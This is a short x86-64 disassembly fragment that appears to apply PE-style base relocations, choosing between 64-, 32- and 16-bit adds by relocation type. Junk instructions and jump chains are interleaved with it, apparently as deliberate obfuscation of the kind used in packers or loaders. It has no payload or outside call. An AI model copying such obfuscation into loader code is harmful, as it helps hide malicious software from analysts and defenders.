add dword [rcx], r10d
jmp 0x18041b90b
jmp 0x18041b95e
cmp dl, 0xa
jmp 0x18041b918
jne 0x18041b926
add qword [rcx], r10
jmp 0x18041b95e
cmp dl, 1
jne 0x18041b949
mov rax, r10
jmp 0x18041b937
sar rax, 0x10
clc
add word [rcx], ax
jmp 0x18041b944
jmp 0x18041b95e
cmp dl, 2
jne 0x18041b95e
add word [rcx], r10w
cmp r14, r9
cmc
test spl, 0xb
add r9, 2
jmp 0x18041b967
dec r8
jmp 0x18041b96f
jne 0x18041b8c0
mov eax, dword [rbx + r11 + 4]
test r11w, sp
clc
cmp bh, 0xcd
add r11, rax
cmp r11, rsi
jmp 0x18041b98d
jb 0x18041b883
mov rbx, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
xchg sil, sil
mov sil, bl
movsx esi, r14w
pop rsi
jmp 0x18041b9ad
ret